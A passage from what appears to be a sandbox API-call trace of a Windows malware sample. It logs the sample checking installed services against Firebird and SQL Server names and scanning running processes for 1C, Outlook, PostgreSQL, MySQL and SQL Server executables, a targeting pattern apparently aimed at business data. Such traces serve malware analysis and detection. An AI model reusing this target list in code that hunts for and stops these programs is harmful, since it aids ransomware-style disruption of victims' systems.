lpString2="CryptSvc") returned 1 [0062.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.105] lstrlenW (lpString="CscService") returned 10 [0062.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.106] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.106] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.106] lstrlenW (lpString="DcomLaunch") returned 10 [0062.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.106] lstrlenW (lpString="Dhcp") returned 4 [0062.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.106] lstrlenW (lpString="Dnscache") returned 8 [0062.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.107] lstrlenW (lpString="DPS") returned 3 [0062.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.107] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.107] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.107] lstrlenW (lpString="eventlog") returned 8 [0062.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.107] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.107] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.107] lstrlenW (lpString="EventSystem") returned 11 [0062.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.108] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.108] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.108] lstrlenW (lpString="gpsvc") returned 5 [0062.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.108] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.108] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.108] lstrlenW (lpString="iphlpsvc") returned 8 [0062.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.108] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.108] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.108] lstrlenW (lpString="LanmanServer") returned 12 [0062.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0062.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.109] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.109] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.109] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.109] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.109] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.109] lstrlenW (lpString="lmhosts") returned 7 [0062.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.109] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.109] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.109] lstrlenW (lpString="MMCSS") returned 5 [0062.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.110] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.110] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.110] lstrlenW (lpString="MpsSvc") returned 6 [0062.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.110] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.110] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.110] lstrlenW (lpString="Netman") returned 6 [0062.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.111] lstrlenW (lpString="netprofm") returned 8 [0062.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.111] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.111] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.111] lstrlenW (lpString="NlaSvc") returned 6 [0062.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.111] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.111] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.111] lstrlenW (lpString="nsi") returned 3 [0062.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.111] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.111] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.112] lstrlenW (lpString="PcaSvc") returned 6 [0062.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.112] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.112] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.112] lstrlenW (lpString="PlugPlay") returned 8 [0062.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.112] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.112] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.112] lstrlenW (lpString="Power") returned 5 [0062.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.113] lstrlenW (lpString="ProfSvc") returned 7 [0062.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.113] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.113] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0062.113] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.113] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.113] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.113] lstrlenW (lpString="RpcSs") returned 5 [0062.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.114] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.114] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.114] lstrlenW (lpString="SamSs") returned 5 [0062.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.114] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.114] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.114] lstrlenW (lpString="Schedule") returned 8 [0062.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.115] lstrlenW (lpString="SENS") returned 4 [0062.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.115] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.115] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.115] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.115] lstrlenW (lpString="Spooler") returned 7 [0062.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.116] lstrlenW (lpString="SysMain") returned 7 [0062.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.116] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.116] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.116] lstrlenW (lpString="Themes") returned 6 [0062.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.117] lstrlenW (lpString="TrkWks") returned 6 [0062.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.117] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.117] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.117] lstrlenW (lpString="UxSms") returned 5 [0062.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.117] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.117] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.117] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.117] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.118] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.118] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.118] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.118] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.118] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.118] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.118] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.119] lstrlenW (lpString="Winmgmt") returned 7 [0062.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.120] lstrlenW (lpString="WPDBusEnum") returned 10 [0062.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0062.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0062.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0062.120] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6091e0 | out: hHeap=0x5d0000) returned 1 [0062.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0062.145] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.146] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.147] lstrlenW (lpString="System") returned 6 [0062.147] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.148] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.148] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.148] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.148] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.149] lstrlenW (lpString="smss.exe") returned 8 [0062.149] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.149] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.149] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.149] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0062.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.149] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.151] lstrlenW (lpString="csrss.exe") returned 9 [0062.151] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.151] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.152] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0062.152] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.153] lstrlenW (lpString="wininit.exe") returned 11 [0062.153] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0062.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0062.153] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0062.153] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0062.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0062.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0062.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0062.153] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.155] lstrlenW (lpString="csrss.exe") returned 9 [0062.155] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.155] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.155] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.155] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.157] lstrlenW (lpString="winlogon.exe") returned 12 [0062.157] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.158] lstrlenW (lpString="services.exe") returned 12 [0062.158] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.159] lstrlenW (lpString="lsass.exe") returned 9 [0062.159] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.160] lstrlenW (lpString="lsm.exe") returned 7 [0062.160] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.161] lstrlenW (lpString="svchost.exe") returned 11 [0062.161] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.162] lstrlenW (lpString="svchost.exe") returned 11 [0062.163] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.164] lstrlenW (lpString="svchost.exe") returned 11 [0062.164] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.165] lstrlenW (lpString="svchost.exe") returned 11 [0062.165] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.167] lstrlenW (lpString="svchost.exe") returned 11 [0062.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, 